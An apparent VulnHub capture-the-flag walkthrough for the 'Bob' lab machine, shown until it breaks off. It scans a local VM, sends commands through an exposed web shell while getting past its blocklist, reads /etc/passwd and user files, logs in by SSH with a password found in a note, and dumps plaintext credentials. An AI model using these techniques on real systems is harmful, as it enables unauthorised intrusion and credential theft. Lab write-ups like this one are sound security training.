Bob: 1.0.1 ~ Vulnhub - Walkthrough

Objective

Get the flag in /

Source: [VulnHub.com]

Status: [In Progress]

Methodology

Define our target

root@kali:# export TANGO=192.168.56.101

Discovery

root@kali:# nmap -O -p- -sT -sV -T5 -o nmap.txt $TANGO

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.5b
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:C0:CC:74 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Entry Point #1 - Port 80 (HTTP)

Enumeration

root@blaksec:~# nikto -h $TANGO
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2018-05-24 18:19:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x591 0x5669af30ee8f1 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/dev_shell.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/lat_memo.html' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/passwords.html' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7539 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2018-05-24 18:19:49 (GMT-4) (11 seconds)
---------------------------------------------------------------------------

Let's take a closer look at that robots.txt

root@kali:~# curl http://$TANGO/robots.txt
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html

dev_shell.php sounds very promising. Dive dive dive!

Exploitation

After good 30 mins of poking it appeared there is some sort of blaklist - commands like ls, pwd, cat, nc are being blocked. Nothing we can't work around though - all we had to do is to replace ls with find, echo, dir, and cat with strings (see Exploiting web shells - working your way around blacklisted commands for more sweet workarounds).

Let's see what we have!

root@blaksec:~# curl -s -d "in_command=strings /etc/passwd" -X POST http://$TANGO/dev_shell.php
...
c0rruptedb1t:x:1000:1000:c0rruptedb1t,,,:/home/c0rruptedb1t:/bin/bash
bob:x:1001:1001:Bob,,,,Not the smartest person:/home/bob:/bin/bash
jc:x:1002:1002:James C,,,:/home/jc:/bin/bash
seb:x:1003:1003:Sebastian W,,,:/home/seb:/bin/bash
elliot:x:1004:1004:Elliot A,,,:/home/elliot:/bin/bash
sshd:x:116:65534::/run/sshd:/usr/sbin/nologin
proftpd:x:117:65534::/run/proftpd:/bin/false
ftp:x:118:65534::/srv/ftp:/bin/false
...

Looks like a few regular users on this host. Check them out

curl -s -d "in_command=find /home" -X POST http://$TANGO/dev_shell.php -o files_home.txt

Bunch of goodies turned up! For the most notable ones:

/home/seb/proftpd-1.3.3c
/home/bob/.old_passwordfile.html
/home/bob/Documents/Secret
/home/bob/Documents/Secret/Keep_Out
/home/bob/Documents/Secret/Keep_Out/Not_Porn
/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here
/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh
/home/bob/Documents/Secret/Keep_Out/Porn
/home/bob/Documents/Secret/Keep_Out/Porn/no_porn_4_u
/home/bob/Documents/staff.txt
/home/bob/Documents/login.txt.gpg
/home/bob/Downloads/Wheel_Of_Fortune.py
/home/bob/Downloads/Hello_Again.py
/home/elliot/theadminisdumb.txt

Quick look through the files... few quite interesting entries! The last one was fun to read - elliot b*ches and moans about admin bragging about his new password.. wait.. yei! we have a password!

root@blaksec:~# curl -s -d "in_command=strings /home/elliot/theadminisdumb.txt" -X POST http://$TANGO/dev_shell.php
...
theadminisdumb
...

Aaaaaand we're in!!!

# ssh elliot@$TANGO -p 25468
  __  __ _ _ _                        _____                          
 |  \/  (_) | |                      / ____|                         
 | \  / |_| | |__  _   _ _ __ __ _  | (___   ___ _ ____   _____ _ __ 
 | |\/| | | | '_ \| | | | '__/ _` |  \___ \ / _ \ '__\ \ / / _ \ '__|
 | |  | | | | |_) | |_| | | | (_| |  ____) |  __/ |   \ V /  __/ |   
 |_|  |_|_|_|_.__/ \__,_|_|  \__, | |_____/ \___|_|    \_/ \___|_|   
                              __/ |                                  
                             |___/                                   


elliot@192.168.56.101's password: 
Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

elliot@Milburg-High:~$

Poking around /home(s)... seb does not seem to have anything interesting and neither does jc. bob, however, is worth exploring!

elliot@Milburg-High:/home/bob$ cat .old_passwordfile.html 
hey n there .old_passwordfile.html
elliot@Milburg-High:/home/bob$ alias
alias cat='echo hey \n there'

*** rolling my eyes ***

elliot@Milburg-High:/home/bob$ strings .old_passwordfile.html 
<html>
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
</p>
</html>